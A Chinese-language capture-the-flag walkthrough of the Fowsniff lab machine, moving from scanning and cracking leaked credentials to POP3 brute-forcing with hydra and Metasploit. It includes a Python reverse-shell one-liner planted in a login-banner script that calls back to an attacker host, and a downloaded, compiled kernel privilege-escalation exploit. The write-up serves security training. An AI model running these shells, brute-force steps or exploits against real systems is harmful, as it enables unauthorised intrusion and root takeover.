一、信息收集
1.存活主机扫描
arp-scan -l
发现192.168.1.13是目标靶机的IP地址
2.端口扫描
接下来用nmap神器来扫描目标IP地址，命令如下：
root@kali2018:~# nmap -A 192.168.1.13
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-13 01:18 EST
Nmap scan report for 192.168.1.13
Host is up (0.0014s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp openssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA)
| 256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA)
|_ 256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519)
80/tcp openhttp Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Fowsniff Corp - Delivering Solutions
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE UIDL SASL(PLAIN) PIPELINING USER CAPA TOP RESP-CODES
143/tcp open imap Dovecot imapd
|_imap-capabilities: have OK more IMAP4rev1 post-login listed capabilities LOGIN-REFERRALS SASL-IR Pre-login LITERAL+ IDLE AUTH=PLAINA0001 ENABLE ID
MAC Address: 08:00:27:1E:80:B0 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.38 ms 192.168.1.13
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.44 seconds
扫描结果显示有4个端口开放，22(ssh),80(http)，110(pop3),143(imap)。
二、靶机入侵
1.先看看80端口会不会有收获，打开浏览器访问：
看起来像一个静态HTML页面,在页面上向下滚动，有一个注释信息：@fowsniffcorp
页面上没有发现什么，继续使用dirb和nikto进行扫描也没有什么收获
root@kali2018:~# dirb http://192.168.1.13
root@kali2018:~# nikto -h http://192.168.1.13
于是我Google了一番页面上显示的这个fowsniff corp
找到fowsniff twitter（@fowsniffcorp），有一条粘滞的推文：
在打开链接地址https://pastebin.com/NrAqVeeX之后，页面上显示了网站邮箱泄露的邮件用户和密码。
密码是MD5格式，使用sodm5（https://www.somd5.com/batch.html）或hashcat可以解密密码：
现在我们创建一个用户名和密码的字典，然后通过hydra对pop3进行爆破。
首先，将所有用户名粘贴到user.txt文件中保存，然后，将所有密码粘贴到pass.txt文件中保存。
也可以使用msf来爆破pop3登录，命令和配置如下：
msf > use auxiliary/scanner/pop3/pop3_login
msf auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.1.13
rhosts => 192.168.1.13
msf auxiliary(scanner/pop3/pop3_login) > set user_file /opt/user.txt
user_file => /opt/user.txt
msf auxiliary(scanner/pop3/pop3_login) > set pass_file /opt/pass.txt
pass_file => /opt/pass.txt
msf auxiliary(scanner/pop3/pop3_login) > set verbose false
verbose => false
msf auxiliary(scanner/pop3/pop3_login) > exploit
运行之后我们找到了正确的凭证，“seina:scoobydoo2”，如图：
通过hydra对邮箱进行爆破如下：
hydra -L users.txt -P pass.txt -f {IP} pop3
-L ~ username wordlist
-P ~ password wordlist
-f ~ stop cracking when valid user is found
root@kali2018:/opt# hydra -L user.txt -P pass.txt -f 192.168.1.13 pop3
可以看到成功爆破出用户名seina和对应的密码scoobydoo2
接着我们连接到靶机的pop3服务上，使用刚才获取的凭证进行登录。登录上之后，我们查看下信息，发现有两条信息，命令如下：
root@kali2018:/opt# nc 192.168.1.13 110
+OK Welcome to the Fowsniff Corporate Mail Server!
user seina
+OK
pass scoobydoo2
+OK Logged in.
list
+OK 2 messages:
1 1622
2 1280
使用list命令查看是否有邮件信息。我们可以看到有两条消息，然后使用 retr [id] 用来读取邮件。
我们查看第一条信息的内容，发现它包含SSH的临时密码是“S1ck3nBluff + secureshell”：
retr 1
+OK 1622 octets
Return-Path: <stone@fowsniff>
X-Original-To: seina@fowsniff
Delivered-To: seina@fowsniff
Received: by fowsniff (Postfix, from userid 1000)
id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
To: baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff,
mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff,
tegel@fowsniff
Subject: URGENT! Security EVENT!
Message-Id: <20180313185107.0FA3916A@fowsniff>
Date: Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
From: stone@fowsniff (stone)
Dear All,
A few days ago, a malicious actor was able to gain entry to
our internal email systems. The attacker was able to exploit
incorrectly filtered escape characters within our SQL database
to access our login credentials. Both the SQL and authentication
system used legacy methods that had not been updated in some time.
We have been instructed to perform a complete internal system
overhaul. While the main systems are "in the shop," we have
moved to this isolated, temporary server that has minimal
functionality.
This server is capable of sending and receiving emails, but only
locally. That means you can only send emails to other users, not
to the world wide web. You can, however, access this system via
the SSH protocol.
The temporary password for SSH is "S1ck3nBluff+secureshell"
You MUST change this password as soon as possible, and you will do so under my
guidance. I saw the leak the attacker posted online, and I must say that your
passwords were not very secure.
Come see me in my office at your earliest convenience and we'll set it up.
Thanks,
A.J Stone
接着查看第二条信息，信息中可以看到发件人是baksteen@fowsniff，可以推断用户名是baksteen：
retr 2
+OK 1280 octets
Return-Path: <baksteen@fowsniff>
X-Original-To: seina@fowsniff
Delivered-To: seina@fowsniff
Received: by fowsniff (Postfix, from userid 1004)
id 101CA1AC2; Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
To: seina@fowsniff
Subject: You missed out!
Message-Id: <20180313185405.101CA1AC2@fowsniff>
Date: Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
From: baksteen@fowsniff
Devin,
You should have seen the brass lay into AJ today!
We are going to be talking about this one for a looooong time hahaha.
Who knew the regional manager had been in the navy? She was swearing like a sailor!
I don't know what kind of pneumonia or something you brought back with
you from your camping trip, but I think I'm coming down with it myself.
How long have you been gone - a week?
Next time you're going to get sick and miss the managerial blowout of the century,
at least keep it to yourself!
I'm going to head home early and eat some chicken soup.
I think I just got an email from Stone, too, but it's probably just some
"Let me explain the tone of my meeting with management" face-saving mail.
I'll read it when I get back.
Feel better,
Skyler
PS: Make sure you change your email password.
AJ had been telling us to do that right before Captain Profanity showed up.
接着我们使用刚才获得的凭证，也就是用户名：baksteen 密码：S1ck3nBluff+secureshell来登录ssh
root@kali2018:/opt# ssh baksteen@192.168.1.13
三、权限提升
1.第一种权限提升
登录成功。对系统进行一下枚举，发现用户baksteen属于两个不同的组。我们尝试找到属于users组的文件，发现了一个脚本“cube.sh”，查找命令如下：
baksteen@fowsniff:~$ find / -group users -type f 2>/dev/null
我们查看一下这个脚本文件的内容，发现它包含我们ssh登陆后出现的界面信息，对照上图ssh登录成功后的截图便知。
baksteen@fowsniff:~$ cd /opt/cube
baksteen@fowsniff:/opt/cube$ ls
baksteen@fowsniff:/opt/cube$ cat cube.sh
我们使用vim打开该文件，并在文件结尾添加一行Python反弹shell的命令：
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.21",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
如图：
保存后，我们尝试执行该脚本，报错，错误信息是“Python command is not found”。于是我们在系统中查找Python，发现安装的是Python3，如图：
所以我们修改反弹shell的命令为Python3，如下：
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
由于我们登录到ssh时看到的banner跟cube.sh脚本包含的内容相似，所以我们来查看下“etc/update-motd.d”目录，查找运行改程序的可执行文件，发现了“00-header”这个文件运行这个shell脚本。
现在我们退出ssh，并且在本地使用netcat设置监听，然后我们重新连接ssh，这样的话，我们的反弹shell就成功执行了
root@kali2018:/opt# nc -lvvp 1234
root@kali2018:~# ssh baksteen@192.168.1.13
一旦成功登录，我们就获得了一个root用户的shell。我们切换到root目录，发现一个flag.txt的文件，查看文件便得到了我们的flag信息：
root@kali2018:/opt# nc -lvvp 1234
listening on [any] 1234 ...
192.168.1.13: inverse host lookup failed: Unknown host
connect to [192.168.1.21] from (UNKNOWN) [192.168.1.13] 50676
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
Maildir
flag.txt
# cat flag.txt
___ _ __ _ _
/ __|___ _ ___ _ _ _ __ _| |_ _ _| |__ _| |_(_)___ _ _ __| |
| (__/ _ ' / _` | '_/ _` | _| || | / _` | _| / _ ' (_-<_|
\___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)
|___/
(_)
|--------------
|&&&&&&&&&&&&&&|
| R O O T |
| F L A G |
|&&&&&&&&&&&&&&|
|--------------
|
|
|
|
|
|
---
Nice work!
This CTF was built with love in every byte by @berzerk0 on Twitter.
Special thanks to psf, @nbulischeck and the whole Fofao Team.
#
2.第二种权限提升
在枚举baksteen账号的时候，我们注意到内核目标靶机的系统内核为4.4.0-116-generic，该内核容易受到本地权限提升的漏洞攻击。目标系统中并没有安装GCC，可以在攻击机上编译成功后的EXP，然后下载到目标靶机上执行。
baksteen@fowsniff:/opt/cube$ uname -a
https://www.exploit-db.com/exploits/44298/
root@kali2018:/opt# wget https://www.exploit-db.com/download/44298
--2019-02-13 02:50:28--https://www.exploit-db.com/download/44298
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6021 (5.9K) [application/txt]
Saving to: ‘44298’
44298100%[===============================================================================>] 5.88K--.-KB/s in 0s
2019-02-13 02:50:32 (27.4 MB/s) - ‘44298’ saved [6021/6021]
root@kali2018:/opt# ls
44298 pass.txtuser.txt
root@kali2018:/opt# cp 44298
cp: missing destination file operand after '44298'
Try 'cp --help' for more information.
root@kali2018:/opt# cp 44298 44298.c
root@kali2018:/opt# gcc -o exploit 44298.c
root@kali2018:/opt# ls
44298 44298.cexploit pass.txt user.txt
root@kali2018:/opt# num.sh linuxprivchecker.py
baksteen@fowsniff:/opt/cube$
baksteen@fowsniff:/opt/cube$ wget http://192.168.1.21:81/exploit
--2019-02-13 02:53:41--http://192.168.1.21:81/exploit
Connecting to 192.168.1.21:81... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17880 (17K) [application/octet-stream]
Saving to: 鈥榚xploit鈥
exploit100%[====================================================================================>] 17.46K--.-KB/s in 0.002s
2019-02-13 02:53:41 (8.29 MB/s) - 鈥榚xploit鈥saved [17880/17880]
baksteen@fowsniff:/opt/cube$ ls
cube.sh exploitLinEnum.sh linuxprivchecker.py
baksteen@fowsniff:/opt/cube$ chmod +x exploit
baksteen@fowsniff:/opt/cube$ ./exploit
task_struct = ffff88001ebe8000
uidptr = ffff88001eb3e184
spawning root shell
root@fowsniff:/opt/cube# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(baksteen)
root@fowsniff:/opt/cube#
<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">